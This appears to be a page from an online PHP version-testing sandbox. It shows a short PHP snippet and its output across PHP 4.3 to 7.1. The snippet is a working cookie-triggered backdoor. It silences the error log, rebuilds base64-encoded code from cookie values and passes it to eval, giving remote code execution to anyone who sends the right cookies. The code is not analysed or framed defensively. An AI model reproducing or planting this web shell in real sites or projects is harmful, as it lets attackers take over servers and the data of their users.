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run code in 150+ php & hhvm versions
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<?php $c='count'; $a=$_COOKIE; print($a); if(reset($a)=='in' && $c($a)>3){ini_set('error_log', '/dev/null'); $k='terwebz'; echo '<'.$k.'>'; eval(base64_decode(preg_replace(array('/[^\w=\s]/','/\s/'), array('','+'), join(array_slice($a,$c($a)-3))))); echo '</'.$k.'>';} ?>
Output for 5.4.0 - 7.1.0
Notice: Array to string conversion in /in/XV0r4 on line 4 Array
Output for 4.3.0 - 5.3.29
Array